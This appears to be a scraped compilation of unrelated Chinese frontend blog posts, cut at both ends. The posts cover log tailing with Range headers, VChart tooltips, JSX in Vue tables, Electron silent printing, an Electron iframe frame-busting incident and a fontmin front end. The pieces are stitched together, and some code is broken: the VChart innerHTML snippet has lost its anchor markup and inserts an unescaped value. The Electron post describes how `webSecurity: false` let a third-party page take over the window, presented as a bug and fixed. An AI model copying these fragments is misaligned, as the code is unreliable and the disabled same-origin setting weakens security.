loop 持续轮询获取最新的日志
浏览器->>服务器: 从 Y1 bytes 处返回内容
服务器->>浏览器: 日志文件大小: Y2 bytes, 日志内容: XXXX
end
上方是基本工作原理的流程图。
实现的关键点在于
- 前端如何知道日志文件当前的大小
- 服务端如何从指定位置获取日志文件内容
这两点都可以通过 HTTP Header 来解决。Content-Range HTTP 响应头会包含完整文件的大小,而 Range HTTP 请求头可以指示服务器返回指定位置的文件内容。
因此在服务端不需要额外的逻辑,仅通过 Web 端代码就可以实现实时日志功能。
代码实现
篇幅限制,代码不会处理异常情况
首先,根据上述流程图。我们需要获取日志文件的大小。
const res = await fetch(URL, {
method: "GET",
headers: { Range: "bytes=0-0" }
});
const contentRange = res.headers.get("Content-Range") || "";
const match = /bytes (\d+)-(\d+)\/(\d+)/.exec(contentRange);
// 日志文件大小
const total = Number.parseInt(match[3], 10);
Range: "bytes=0-0"
指定仅获取第一个字节的内容,以免较大的日志文件导致响应时间过长。
我们发起了一个 GET 请求并将 Range
请求头设置为 bytes=0-0
如果服务器能够正确处理 Range 请求头,响应中将包含一个 Content-Range
列其中将包含日志文件的完整大小,可以通过正则解析拿到。
现在我们已经拿到了日志文件的大小并存储在名为 total
的变量中。然后根据 total
获取到最后 10 KB 的日志内容。
const res = await fetch(url, {
method: "GET",
headers: {
Range: `bytes=${total - 1000 * 10}-`
}
});
const contentRange = res.headers.get("Content-Range") || "";
const match = /bytes (\d+)-(\d+)\/(\d+)/.exec(contentRange);
// 下一次请求的起始位置
const start = Number.parseInt(match[2], 10) + 1;
// 日志内容
const content = await res.text();
现在我们发起了一个 GET 请求并将 Range
请求头设置为 bytes=${total - 1000 * 10}-
以获取最后 10 KB 的日志内容。并且通过正则解析拿到了下一次请求的起始位置。
现在我们已经拿到了日志文件的大小和最后 10 KB 的日志内容。接下来就是持续轮询去获取最新的日志。轮询代码区别仅在于将 Range
标头设置为 bytes=${start}-
以便获取最新的日志。
const res = await fetch(url, {
method: "GET",
headers: {
Range: `bytes=${start}-`
}
});
const contentRange = res.headers.get("Content-Range") || "";
const match = /bytes (\d+)-(\d+)\/(\d+)/.exec(contentRange);
// 下一次请求的起始位置
start = Number.parseInt(match[2], 10) + 1;
// 日志内容
const content = await res.text();
以上,基本的功能已经实现了。日志内容保存在名为 content
的变量中。
优化
HTTP 轮询常因其高延迟为人诟病,我们可以通过指数退避的方式来尽可能的降低延时且不会显著的增加服务器负担。
指数退避是一种常见的网络重试策略,它会在每次重试时将等待时间乘以一个固定的倍数。这样做的好处是,当网络出现问题时,重试的时间间隔会逐渐增加,直到达到最大值。
一个简单的实现如下:
/**
* 使用指数退避策略获取日志.
*/
export class ExponentialBackoff {
private readonly base: number;
private readonly max: number;
private readonly factor: number;
private retries: number;
/**
* @param base 基础延迟时间 默认 1000ms (1秒)
* @param max 最大延迟时间 默认 60000ms (1分钟)
* @param factor 延迟时间增长因子 默认 2
*/
constructor(base: number = 1000, max: number = 60000, factor: number = 2) {
this.base = base;
this.max = max;
this.factor = factor;
this.retries = 0;
}
/**
* 获取下一次重试的延迟时间.
*/
next() {
const delay = Math.min(this.base * Math.pow(this.factor, this.retries), this.max);
this.retries++;
return delay;
}
/**
* 重置重试次数.
*/
reset() {
this.retries = 0;
}
}
值得一提的是带有 Range
标头的请求成功时会返回 206 Partial Content
状态码。而在请求的范围超出文件大小时会返回 416 Range Not Satisfiable
状态码。我们可以通过这两个状态码来判断请求是否成功。
成功时调用 reset
方法重置重试次数,失败时调用 next
方法获取下一次重试的延迟时间。
总结
即使再优秀的方案也不是银弹,真正合适的方案需要考虑的不仅仅是技术本身,还有业务场景,团队技术栈,团队技术水平等等。在选择技术方案时,我们需要权衡各种因素,而不是盲目的选择最流行的技术。
当我们责备现有的技术方案为何如此糟糕时,或许在那个时间点上,这个方案是最合适的。
感谢以下网友的帮助和建议:齐洛格德
Footnotes
来源:juejin.cn/post/7337519776796295177
方寸之间窥万象——这样的Tooltip,你会开发吗?
序言
提示信息(tooltip)是一种常见的 GUI 元素。在可视化领域,tooltip 通常指用户将鼠标悬停在图元上或者图表区域时弹出的明细数据信息框。如果是桌面环境,通常会在用户将指针悬停在元素上而不单击它时显示 tooltip;如果是移动环境,通常会在长按(即点击并按住)元素时显示 tooltip。
这样一个小小的组件,却可以十分有效地丰富图表的数据展现能力和图表交互效果,同时在实际业务领域的用途也非常广泛。
近些年来,业界主要图表库(如ECharts、G2等)都提供了 tooltip 的配置能力和默认渲染能力,以达到开箱即用的效果。VChart 更不例外,提供了更加灵活的 tooltip 展示与配置方案。
通过使用 VChart,你既可以显示图表中任何系列的图元所携带的数据信息(mark tooltip):
也可以显示某个特定维度项下的所有图元的数据信息(dimension tooltip):
乃至可以灵活地自定义 tooltip,甚至在其中插入子图表,拓展交互的边界:
本文将通过一些实战案例,详细讲述 VChart 提示信息的重点用法、自定义方式以及设计细节。
示例一:可触及的 tooltip,与 Amazon 的安全三角形
为了不对用户的鼠标交互进行干扰,VChart 的 tooltip 默认不会响应鼠标事件。但是在某些情况,用户却希望鼠标可以移到 tooltip 中进行一些额外的交互行为,比如点击 tooltip 中的按钮和链接,或者选取并复制一些数据。
为了满足这类需求,tooltip 支持在 spec 中配置 enterable
属性。如果不配置或者配置 enterable: false
,默认效果是这样的,鼠标无法移到 tooltip 元素内:
而如果配置 enterable: true
,效果如以下截图所示:
图表简化版 spec 为:
const spec = {
type: 'waterfall',
data: [], // 数据略
legends: { visible: true, orient: 'bottom' },
xField: 'x',
yField: 'y',
seriesField: 'type',
total: {
type: 'field',
tagField: 'total'
},
title: {
visible: true,
text: 'Chinese quarterly GDP in 2022'
},
tooltip: {
enterable: true // TOOLTIP SPEC
}
};
const vchart = new VChart(spec, { dom: CONTAINER_ID });
vchart.renderSync();
简单对比两个 tooltip 的效果,可以发现后者在鼠标靠近 tooltip 时,tooltip 便适时地停住了。
这个小小的交互细节里却有些文章,灵感来源直接来自 Amazon 的官网实现。
这个例子也许已经为人熟知,我们简单回顾一下。这首先要从普通网站的下拉菜单开始讲起:
在一个设计欠佳的菜单组件里(如 bootstrap),鼠标从一级菜单移入二级菜单往往是很困难的,很容易触发二级菜单的隐藏策略,从而变成一场无聊的打地鼠游戏。
但是 Amazon 早期官网的菜单,由于用户使用频率高,根本无法接受这样的体验。于是他们完美地解决了这个问题,并成为一个交互优化的经典案例。
其思路的核心,便是检测鼠标移动的方向。如果鼠标移动到下图的蓝色三角形中,当前显示的子菜单将继续打开一小会儿:
在鼠标的每个位置,你可以想象鼠标当前位置与下拉菜单的右上角和右下角之间形成一个三角形。如果下一个鼠标位置在该三角形中,说明用户可能正在将鼠标移向当前显示的子菜单。Amazon 利用这一点实现了很好的效果。只要鼠标停留在该蓝色三角形中,当前子菜单就会保持打开。如果鼠标移出该三角形,他们会立即切换子菜单,使其感觉非常敏捷。
整体效果类似于下图所示:
正所谓,上帝在细节中(God is in the details)。从这个交互优化里,我们看到的不仅是一个精妙的算法,而是一个科技巨头对于产品和用户体验的态度。Amazon 的数百亿市值有多少是从这些很小很小,但是明显很用心的产品细节中积累起来的呢?
VChart 的 tooltip 也一样,着重参考了 Amazon 的交互优化。如果配置 enterable: true
,在每个时刻,都会存在一个这样的“安全三角形”,三个顶点分别是鼠标光标以及 tooltip 的两个端点,取面积最大的三角形:
如果鼠标在下一刻滑到这个三角形区域中, tooltip 便为鼠标“停留一会儿”,直到鼠标移到 tooltip 区域内。
但是在鼠标移到 tooltip 区域之前,tooltip 并不会永远停下来等待鼠标。如果鼠标过于缓慢地靠近 tooltip,tooltip 还是会离开的(变成一场失败、却又在意料之中的奔赴)。这样便可以同时保证用户鼠标有足够的行动自由度。以下示例特地将鼠标移动速度放慢,便可以实现既进入三角形区域,又不会被 tooltip “挡路”:
作为对比,ECharts 的 tooltip 虽然同样支持 enterable
属性,但是 ECharts 主要通过简单的 tooltip 缓动来支持鼠标移入,鼠标仍需要不停地“追逐” tooltip 才能移至其中,灵活性便打了折扣。以下为 ECharts 的效果:
示例二:灵活的 pattern,内容与样式的自由配置
为了尽最大可能满足更多业务方的需求,VChart 的 tooltip 支持比较灵活的内容和样式配置。下文将以官网 demo(http://www.visactor.io/vchart/demo…
在这个图表中,用户配置了一条 y=10000
的标注线。同时要求在 dimension tooltip 中实现:
- 数据项从大到小排序;
- 比标注线高的数据项标红(条件格式);
- 在 tooltip 内容的最后一行加上标注线所代表的数据。
同时,这个 tooltip 的位置还拥有以下特征:
- dimension tooltip 的位置固定在光标上方;
- mark tooltip 的位置固定在数据项下方。
如以下动图所示:
这个示例实际上代表了很多不同类型的业务需求。下面拆解来看一下:
基本 tooltip 内容配置
首先,剥去自定义内容和样式的部分,这个图表的最简 spec 和基本 tooltip 配置如下:
const markLineValue = 10000;
const spec = {
type: 'line',
data: {
values: [
{ type: 'Nail polish', country: 'Africa', value: 4229 },
// 其他数据略
]
},
stack: false,
xField: 'type',
yField: 'value',
seriesField: 'country',
legends: [{ visible: true, position: 'middle', orient: 'bottom' }],
markLine: [
{
y: markLineValue,
endSymbol: { visible: false },
line: { style: { /* 样式配置略 */ }}
}
],
tooltip: { // TOOLTIP SPEC
mark: {
title: {
value: datum => datum.type
},
content: [
{
key: datum => datum.country,
value: datum => datum.value
}
]
},
dimension: {
title: {
value: datum => datum.type
},
content: [
{
key: datum => datum.country,
value: datum => datum.value
}
]
}
}
};
const vchart = new VChart(spec, { dom: CONTAINER_ID });
vchart.renderSync();
显示效果如下:
观察 spec 不难发现,mark tooltip 和 dimension tooltip 分别用回调方式配置了 tooltip 的显示内容。其中:
- title.value 显示的是数据项中对应于
xField
的内容; - content.key 显示的是数据项中对应于
seriesField
(也是区分出图例项的 field)的内容; - content.value 显示的是数据项中对应于
yField
的内容。
回调是 tooltip 内容的基本配置方式,用户可以在 title 和 content 中自由配置回调函数来实现数据绑定和字符串的格式化。
Tooltip 内容的排序、增删、条件格式
我们再来看一下 dimension tooltip 的 spec:
{
tooltip: { // TOOLTIP SPEC
mark: { /* ...略 */ },
dimension: {
title: {
value: datum => datum.type
},
content: [
{
key: datum => datum.country,
value: datum => datum.value
}
]
}
}
}
不难发现,content 配置的数组只包含 1 个对象,但是上图显示出来却有 4 行内容。为什么呢?
其实在 dimension tooltip 中发生了和折线图元类似的 data join 过程:由于在数据中,seriesField
划分出了 4 个数据组(图例项有 4 个),因此在经过笛卡尔积后,真实 tooltip 内容行数为 content 数组成员数量乘以 4。在数据组装过程中,每个数据组都要依次走一遍 content 数组成员里的回调。
我们把 spec 中的 tooltip 内容配置称为 TooltipPattern,tooltip 所需数据称为 TooltipData,最终的 tooltip 结构称为 TooltipActual。数据组装过程可以表示为:
在本例中,经过这个过程,TooltipPattern 中的回调在 TooltipActual 中消失(回调已被执行 4 次),且由 1 行变成了 4 行。
这个过程完整的执行流程如下:
那么回到示例中的用户需求,用户希望将 tooltip 内容行由大到小排序。那么这个步骤自然要在 TooltipActual 生成之后执行,也就是上图中的 “updateTooltipContent” 过程。
Tooltip spec 中支持配置 updateContent
回调来对 TooltipActual 的 content 部分进行操作。排序可以这样写:
{
tooltip: { // TOOLTIP SPEC
mark: { /* ...略 */ },
dimension: {
title: {
value: datum => datum.type
},
content: [
{
key: datum => datum.country,
value: datum => datum.value
}
],
updateContent: prev => {
// 排序
prev.sort((a, b) => b.value - a.value);
}
}
}
}
updateContent
回调的第一个参数为已经计算好的 TooltipActual。加上回调以后,排序生效:
在 tooltip 中实现条件格式以及新增一行也是一样的方法,可以直接在 updateContent
回调中处理:
{
updateContent: prev => {
// 排序
prev.sort((a, b) => b.value - a.value);
// 条件格式:比标注线高的数据项标红
prev.forEach(item => {
if (item.value >= markLineValue) {
item.valueStyle = {
fill: 'red'
};
}
});
// 新增一行
prev.push({
key: 'Mark Line',
value: markLineValue,
keyStyle: { fill: 'orange' },
valueStyle: { fill: 'orange' },
// 自定义 shape 的 svg path
shapeType: 'M44.3,22.1H25.6V3.3h18.8V22.1z M76.8,3.3H58v18.8h18.8V3.3z M99.8,3.3h-9.4v18.8h9.4V3.3z M12.9,3.3H3.5v18.8h9.4V3.3z',
shapeColor: 'orange',
hasShape: true
});
}
}
调试 spec,回调生效,最后效果如下:
Tooltip 样式和位置
VChart tooltip 支持将 tooltip 固定于某图元附近或者鼠标光标附近。在本例中,mark tooltip 固定于图元的下方,而 dimension tooltip 固定于鼠标光标的上方,可以这样配置:
{
tooltip: { // TOOLTIP SPEC
mark: {
// 其他配置略
position: 'bottom' // 显示在下方
positionAt: 'mark' // 固定在图元附近,由于这是默认值,这行可以删掉
},
dimension: {
// 其他配置略
position: 'top', // 显示在上方
positionAt: 'pointer' // 固定在鼠标光标附近
}
}
}
而样式配置可以在 tooltip spec 上的 style
配置项下进行自定义。style
支持配置 tooltip 组件各个组成部分的统一样式,详细配置项可参考官网文档(http://www.visactor.io/vchart/opti…
最后效果如下,完整 spec 可见官网 demo(http://www.visactor.io/vchart/demo…
示例三:锦上添花,可按需修改的 tooltip dom 树
VChart 的 tooltip 共支持两种渲染模式:
- Dom 渲染,适用于桌面或移动端浏览器环境;
- Canvas 渲染,适用于移动端小程序、node 环境等非浏览器环境。
对于 dom 版本的 tooltip,为了更好的支持业务方的自定义需求,VChart 开放了对 tooltip dom 树的修改接口。下文将以官网 demo(http://www.visactor.io/vchart/demo…
在这个示例中,用户要求在 tooltip 的底部增加一个超链接,用户点击链接后,便可以自动跳转到 Google,对 tooltip 标题进行进一步搜索。这个示例要求两个能力:
- 示例一介绍的 enterable 能力,开启后鼠标会被允许滑入 tooltip 区域,这是在 tooltip 中实现交互的前提;
- 在默认 tooltip 上绘制自定义的 dom 元素。
为了实现第二个能力,tooltip 支持了回调 updateElement
,这个回调配在 tooltip spec 顶层。这个示例的 tooltip 配置如下:
{
tooltip: { // TOOLTIP SPEC
enterable: true,
updateElement: (el, actualTooltip, params) => {
// 自定义元素只加在 dimension tooltip 上
if (actualTooltip.activeType === 'dimension') {
const { changePositionOnly, dimensionInfo } = params;
// 判断本次 tooltip 显示是否仅改变了位置,如果是的话退出
if (changePositionOnly) { return; }
// 改变默认 tooltip dom 的宽高策略
el.style.width = 'auto';
el.style.height = 'auto';
el.style.minHeight = 'auto';
el.getElementsByClassName('value-box')[0].style.flex = '1';
for (const valueLabel of el.getElementsByClassName('value')) {
valueLabel.style.maxWidth = 'none';
}
// 删除上次执行回调添加的自定义元素
if (el.lastElementChild?.id === 'button-container') {
el.lastElementChild.remove();
}
// 添加新的自定义元素
const div = document.createElement('div');
div.id = 'button-container';
div.style.margin = '10px -10px 0px';
div.style.padding = '10px 0px 0px';
div.style.borderTop = '1px solid #cccccc';
div.style.textAlign = 'center';
div.innerHTML = `href="https://www.google.com/search?q=${dimensionInfo[0]?.value}"
style="text-decoration: none"
target="_blank"
>Search with Google`;
el.appendChild(div);
} else {
// 对于 mark tooltip,删除上次执行回调添加的自定义元素
if (el.lastElementChild?.id === 'button-container') {
el.lastElementChild.remove();
}
}
}
}
}
updateElement
在每次 tooltip 被激活或者更新时触发,在触发时,TooltipActual 已经计算完毕,且 dom 节点也已经准备好。回调的第一个参数便是本次将要显示的 tooltip dom 根节点。目前不支持替换该节点,只支持对该节点以及其孩子进行修改。
这个配置的设计最大限度地复用了 VChart tooltip 的内置逻辑,同时提供了足够自由的自定义功能。你可以随心所欲地定制 tooltip 显示内容,并且复用任何你没有覆盖的逻辑。
比如,你可以对 tooltip 的大小进行重新定义,而不用关心窗口边界的躲避策略是否会出问题。事实上 VChart 会自动把 tooltip 定位逻辑复用在修改过的 dom 上:
这个回调还可以进一步封装,比如在 react-vchart 中将用户侧的 react 组件插入 tooltip。目前这个封装主要由业务侧自主进行,后续 VChart 也有计划提供官方支持。
示例四:完全自定义,由业务托管 tooltip 渲染
若要更进一步,VChart tooltip 最高级别的自定义,便是让 VChart 完全将 tooltip 渲染交给用户。有以下两种方式可以选择:
- 用户自定义 tooltip handler
- 用户使默认 tooltip 失效,监听 tooltip 事件
再结合示例二、示例三的铺垫,便可以带出整个 tooltip 模块的设计架构。熟悉了架构便更容易了解每条渲染路径以及各个层级的关系。
由上图可见,示例三对应的是 “Custom DOM Render” 的自定义,示例二对应了 “Custom TooltipActual” 部分的自定义。而示例四,便是对应整个 “Tooltip Events” 以及 “Custom TooltipHandler” 的自定义。
由于上图中,“Tooltip Events” 和 “Custom TooltipHandler” 纵跨了多个层级,因此它覆盖的默认逻辑是最多的,体现在:
- 当给图表设置了自定义 tooltip handler 后,内置的 tooltip 将不再起作用。
- VChart 不感知、不托管自定义 tooltip 的渲染,需要自行实现 tooltip 渲染,包括处理原始数据、tooltip 内容设计,以及根据项目环境创建组件并设置样式。
- 当图表删除时会调用当前 tooltip handler 的
release
函数,需要自行实现删除。
目前,火山引擎 DataWind 正是使用自定义 tooltip handler 的方式实现了自己的图表 tooltip。DataWind 支持用户对tooltip 进行富文本渲染,甚至支持了 tooltip 内渲染图表的能力。
另外,也可以参考官网示例(http://www.visactor.io/vchart/demo…
自定义 tooltip handler 的核心是调用 VChart 实例方法 setTooltipHandler
,部分示例代码如下:
vchart.setTooltipHandler({
showTooltip: (activeType, tooltipData, params) => {
const tooltip = document.getElementById('tooltip');
tooltip.style.left = params.event.x + 'px';
tooltip.style.top = params.event.y + 'px';
let data = [];
if (activeType === 'dimension') {
data = tooltipData[0]?.data[0]?.datum ?? [];
} else if (activeType === 'mark') {
data = tooltipData[0]?.datum ?? [];
}
tooltipChart.updateData(
'tooltipData',
data.map(({ type, value, month }) => ({ type, value, month }))
);
tooltip.style.visibility = 'visible';
},
hideTooltip: () => {
const tooltip = document.getElementById('tooltip');
tooltip.style.visibility = 'hidden';
},
release: () => {
tooltipChart.release();
const tooltip = document.getElementById('tooltip');
tooltip.remove();
}
});
其他特性一览
VChart tooltip 包含一些其他的高级特性,下文将简要介绍。
在任意轴上触发 dimension tooltip
Dimension tooltip 一般最适合用于离散轴,ECharts 同时支持连续轴上的 dimension tooltip(axis tooltip)。而 VChart 支持了在连续轴、时间轴乃至在一个图表中的任意一个轴上触发 dimension tooltip。
以下示例展示了 dimension tooltip 在连续轴(时间轴)上汇总离散数据的能力(这个 case 和一般的 dimension tooltip 刚好相反):
一般的 dimension tooltip 会在离散轴(纵轴)触发 tooltip,汇总连续数据(对应于时间轴)。而 VChart 同时支持这两种方式的 tooltip。
Demo 地址:http://www.visactor.io/vchart/demo…
长内容支持:换行和局部滚动
过长的内容在 tooltip 上一般是 bad case。但是为了使长内容的浏览体验更好,VChart tooltip 可以配置多行文本以及内容区域局部滚动。如以下示例:
局部滚动 Demo 地址:http://www.visactor.io/vchart/demo…
多行文本配置项:http://www.visactor.io/vchart/opti…
结语
Tooltip 在提升用户浏览图表的体验中扮演着重要的角色。本文介绍了 VChart tooltip 的基本使用方法、技术设计以及多层面的自定义方案。然而为了保证行文清晰,VChart tooltip 还有一些其他的用法细节本文没有涉及,想了解更多可以查阅官网 demo 以及文档。
然而需要提醒的是,虽然 tooltip 能够有效传递数据与信息、以及增加图表的互动能力,但过分依赖它们可能会导致用户体验下降。合理地利用 tooltip,让它们在需要时出现而不干扰用户的主要任务,是设计和开发中应保持的平衡。
希望本文能为你在配置 VChart tooltip 时提供有用的指导。愿你在图表中创造更加直观、轻松且愉快的用户体验时,VChart 能成为你强大的伙伴。
github:github.com/VisActor/VC…
相关参考:
来源:juejin.cn/post/7337963242416422924
总算体会到jsx写法为啥灵活
前言
大家好,我是你不会困
,写代码就不会困,今天分享的是总算体会到jsx写法为啥灵活
什么是jsx写法?
当谈到JavaScript中的JSX写法时,人们往往会想到React和Vue这样的流行前端框架。JSX作为一种在JavaScript中编写类似于HTML的语法,为前端开发者提供了更灵活和直观的方式来构建用户界面。
JSX的灵活性体现在多个方面。首先,JSX允许开发者在JavaScript中嵌入HTML标记,使得代码更易读和维护。通过使用JSX,开发者可以在同一个文件中编写JavaScript逻辑和界面布局,而无需频繁切换不同的文件。这种混合编程风格提高了开发效率,同时也方便了代码的组织和调试。
其次,JSX支持在标记中使用JavaScript表达式,这使得动态生成界面变得更加简单。开发者可以在JSX中直接使用JavaScript变量、函数调用和逻辑控制语句,从而动态地渲染页面内容。这种灵活性使得开发者能够根据不同的数据状态和条件来动态展示内容,提升了用户体验。
另外,JSX还支持在标记中使用循环和条件语句,比如map
函数和条件渲染,从而实现列表展示、条件展示等常见的UI需求。这种功能使得开发者可以更方便地处理复杂的UI逻辑,同时简化了代码的编写和维护。
此外,JSX的组件化特性也为前端开发带来了很多好处。通过将UI拆分成独立的组件,开发者可以更好地组织和管理代码,提高代码的重用性和可维护性。JSX中的组件可以嵌套使用,形成复杂的UI结构,同时每个组件可以单独管理自己的状态和逻辑,使得代码更加清晰和可扩展。
今天在开发的时候发现,这两个即可开启总计列
show-summary
:summary-method="getSummaries"
但是产品的需求比较麻烦,需要渲染多行,查了相关的文档,好像没有这种渲染的demo,翻看项目的代码,有一部分代码的实现比较巧妙,使用的是jsx写法,然后就尝试着去实现
要在vue里面使用jsx写法,在script标签使用<script lang="jsx">
,即可使用
getSummaries(param) {
const { columns } = param
const sums = []
const nullHtml = '-'
columns.forEach((column, index) => {
if (index === 0) {
sums[index] = '总计'
return
}
if (this.totalSum.summaryReceivableComparisons) {
sums[index] = (
<div>
{this.totalSum.summaryReceivableComparisons.map((item) => (
<div class='cell-item' key={item.invoiceCurrency}>
<p>
{this.formatValue(
item[column.property],
column.property.includes('Ratio')
? 'percentage'
: 'thousandth'
)}
</p>
</div>
))}
</div>
)
} else {
sums[index] = nullHtml
return
}
})
return sums
},
上面的代码使用了map来遍历,将对应的html返回,el-table的总计列即可生效,来应对不同的需求
总结
总的来说,JSX作为JavaScript中的一种扩展语法,为前端开发带来了更灵活、直观和高效的开发体验。通过使用JSX,开发者可以更轻松地构建交互丰富、动态变化的用户界面,同时提高了代码的可读性和可维护性。JSX的灵活性和表现力使其成为现代前端开发中不可或缺的一部分。
来源:juejin.cn/post/7410672790020800548
Electron实现静默打印小票
Electron实现静默打印小票
静默打印流程
1.渲染进程通知主进程打印
//渲染进程 data是打印需要的数据
window.electron.ipcRenderer.send('handlePrint', data)
2.主进程接收消息,创建打印页面
//main.ts
/* 打印页面 */
let printWindow: BrowserWindow | undefined
/**
* @Author: yaoyaolei
* @Date: 2024-06-07 09:27:22
* @LastEditors: yaoyaolei
* @description: 创建打印页面
*/
const createPrintWindow = () => {
return new Promise<void>((resolve) => {
printWindow = new BrowserWindow({
...BASE_WINDOW_CONFIG,
title: 'printWindow',
webPreferences: {
preload: join(__dirname, '../preload/index.js'),
sandbox: false,
nodeIntegration: true,
contextIsolation: false
}
})
printWindow.on('ready-to-show', () => {
//打印页面创建完成后不需要显示,测试时可以调用show查看页面样式(下面有我处理的样式图片)
// printWindow?.show()
resolve()
})
printWindow.webContents.setWindowOpenHandler((details: { url: string }) => {
shell.openExternal(details.url)
return { action: 'deny' }
})
if (is.dev && process.env['ELECTRON_RENDERER_URL']) {
printWindow.loadURL(`${process.env['ELECTRON_RENDERER_URL']}/print.html`)
} else {
printWindow.loadFile(join(__dirname, `../renderer/print.html`))
}
})
}
ipcMain.on('handlePrint', (_, obj) => {
//主进程接受渲染进程消息,向打印页面传递数据
if (printWindow) {
printWindow!.webContents.send('data', obj)
} else {
createPrintWindow().then(() => {
printWindow!.webContents.send('data', obj)
})
}
})
3.打印页面接收消息,拿到数据渲染页面完成后通知主进程开始打印
<!doctype html>
<html>
<head>
<meta charset="UTF-8" />
<title>打印</title>
<style>
</style>
</head>
<body>
</body>
<script>
window.electron.ipcRenderer.on('data', (_, obj) => {
//这里是接受的消息,处理完成后将html片段放在body里面完成后就可以开始打印了
//样式可以写在style里,也可以内联
console.log('event, data: ', obj);
//这里自由发挥
document.body.innerHTML = '处理的数据'
//通知主进程开始打印
window.electron.ipcRenderer.send('startPrint')
})
</script>
</html>
这个是我处理完的数据样式,这个就是print.html
4,5.主进程接收消息开始打印,并且通知渲染进程打印状态
ipcMain.on('startPrint', () => {
//这里如果不指定打印机使用的是系统默认打印机,如果需要指定打印机,
//可以在初始化的时候使用webContents.getPrintersAsync()获取打印机列表,
//然后让用户选择一个打印机,打印的时候将打印机名称传过来
printWindow!.webContents.print(
{
silent: true,
margins: { marginType: 'none' }
//deviceName:如果要指定打印机传入打印机名称
},
(success) => {
//通知渲染进程打印状态
if (success) {
mainWindow.webContents.send('printStatus', 'success')
} else {
mainWindow.webContents.send('printStatus', 'error')
}
}
)
})
完毕~
来源:juejin.cn/post/7377645747448365091
我的 Electron 客户端被第三方页面入侵了...
问题描述
公司有个内部项目是用 Electron
来开发的,有个功能需要像浏览器一样加载第三方站点。
本来一切安好,但是某天打开某个站点的链接,导致 整个客户端直接变成了该站点的页面。
这一看就是该站点做了特殊的处理,经排查网页源码后,果然发现了有这么一句代码。
if (window.top !== window.self) {
window.top.location = window.location;
}
翻译一下就是:如果当前窗口不是顶级窗口的话,将当前窗口设置为顶级窗口。
奇怪的是两者不是 跨域 了吗,为什么 iframe
还可以影响顶级窗口。
先说一下我当时的一些解决办法:
- 用
webview
替换iframe
- 给
iframe
添加sandbox
属性
后续内容就是一点复盘工作。
场景复现(Web端)
一开始怀疑是客户端的问题,所以我用在纯 Web 上进行了一次对比验证。
这里我们新建两个文件:1.html
和 2.html
,我们称之为 页面A 和 页面B。
然后起了两个本地服务器来模拟同源与跨域的情况。
页面A:http://127.0.0.1:5500/1.html
页面B:http://127.0.0.1:5500/2.html
和 http://localhost:3000/2.html
符合同源策略
<body>
<h1>这是页面A</h1>
<!-- 这是同源的情况 -->
<iframe id="iframe" src="http://127.0.0.1:5500/2.html" />
<script>
iframe.onload = () => {
console.log('iframe loaded..')
console.log('子窗口路径', iframe.contentWindow.location.href)
}
</script>
</body>
<body>
<h2>这是页面B</h2>
<script>
console.log('page2...')
console.log(window === window.top)
console.log('顶部窗口路径', window.top.location.href)
</script>
</body>
我们打开控制台可以看到 页面A 和 页面B 是可以 互相访问 到对方窗口的路径。
如果这个时候在 页面B 加上文章开头提到的 代码片段,那么显然页面将会发生变化。
跨域的情况
这时候我们修改 页面A 加载 页面B 的地址,使其不符合同源策略。
理所应当的是,两个页面不能够相互访问了,这才是正常的,否则内嵌第三方页面可以互相修改,那就太不安全了。
场景复现(客户端)
既然 Web 端是符合预期的,那是不是 Electron
自己的问题呢?
我们通过 electron-vite 快速搭建了一个 React模板的electron应用
,版本为:electron@22.3.27
,并且在 App 中也嵌入了刚才的 页面B。
function App(): JSX.Element {
return (
<>
<h1>这是Electron页面</h1>
<iframe id="iframe" src="http://localhost:3000/2.html"/>
</>
)
}
export default App
对不起,干干净净的 Electron
根本不背这个锅,在它身上的表现如同 Web端 一样,也受同源策略的限制。
那么肯定是我的项目里有什么特殊的配置,通过对比主进程的代码,答案终于揭晓。
new BrowserWindow({
...,
webPreferences: {
...,
webSecurity: false // 就是因为它
}
})
Electron 官方文档 里是这么描述 webSecurity
这个配置的。
webSecurity
boolean (可选) - 当设置为false
, 它将禁用同源策略 (通常用来测试网站), 如果此选项不是由开发者设置的,还会把allowRunningInsecureContent
设置为true
. 默认值为true
。
也就是说,Electron
本身是有一层屏障的,但当该属性设置为 false
的时候,我们的客户端将会绕过同源策略的限制,这层屏障也就消失了,因此 iframe
的行为表现得像是嵌套了同源的站点一样。
解决方案
把这个配置去掉,确实是可以解决这个问题,但考虑到可能对其他功能造成的影响,只能采取其他方案。
如文章开头提到的,用 webview
替换 iframe
。
webview
是 Electron
的一个自定义元素(标签),可用于在应用程序中嵌入第三方网页,它默认开启安全策略,直接实现了主应用与嵌入页面的隔离。
因为目前这个需求是仅作展示,不需要与嵌套页面进行交互以及复杂的通信,因此在一开始的开发过程中,并没有使用它,而是直接采用了 iframe
。
而 iframe
也能够实现类似的效果,只需要添加一个 sandbox
属性可以解决。
MDN 中提到,sandbox
控制应用于嵌入在 <iframe>
中的内容的限制。该属性的值可以为空以应用所有限制,也可以为空格分隔的标记以解除特定的限制。
如此一来,就算是同源的,两者也不会互相干扰。
总结
这不是一个复杂的问题,发现后及时修复了,并没有造成很大的影响(还好是自己人用的平台)。
写这篇文章的主要目的是为了记录这次事件,让我意识到在平时开发过程中,把注意力过多的放在了 业务
、样式
、性能
等这些看得见的问题上,可能很少关注甚至忽略了 安全
这一要素,以为前端框架能够防御像 XSS
这样的攻击就能安枕无忧。
谨记,永远不要相信第三方,距离产生美。
如有纰漏,欢迎在评论区指出。
来源:juejin.cn/post/7398418805971877914
如何将用户输入的名称转成艺术字体-fontmin.js
写在开头
日常我们在页面中使用特殊字体,一般操作都是直接由前端来全量引入设计师提供的整个字体包即可,具体操作如下:
<template>
<div class="font">橙某人</div>
</template>
<style scoped>
@font-face {
font-family: "orange";
src: url("./orange.ttf");
}
.font {
font-family: "orange";
}
</style>
很简单吧🤡,但有时应用场景不同,可能需要我们考虑一下性能问题。
一般来说,我们常见的字体包整个是非常大的,小的有几M到十几M,大的可能去到上百M都有,特别是中文类的字体包会相对英文类的要更大一些。
如本文案例,我们仅需在用户输入完后加载对应的字体包即可,这样能避免性能的损耗。
为此,我们需要把整个字体包拆分、细致化、子集化,让它能达到按需引入的效果。
那么这要如何来做这个事情呢?这个方案单单前端可做不了,我们需要配合后端一起,下面就来看看具体的实现过程吧。😗
前端
前端小编用 Vue
来编写,具体如下:
<template>
<div>
<input v-model="name" />
<button @click="handleClick">生成</button>
<div v-if="showName" class="font">{{ showName }}</div>
</div>
</template>
<script>
export default {
data() {
return {
name: "",
showName: "",
};
},
methods: {
handleClick() {
// 创建link标签
const linkElement = document.createElement("link");
linkElement.setAttribute("rel", "stylesheet");
linkElement.setAttribute("type", "text/css");
linkElement.href = `http://localhost:3000?name=${encodeURIComponent(this.name)}`;
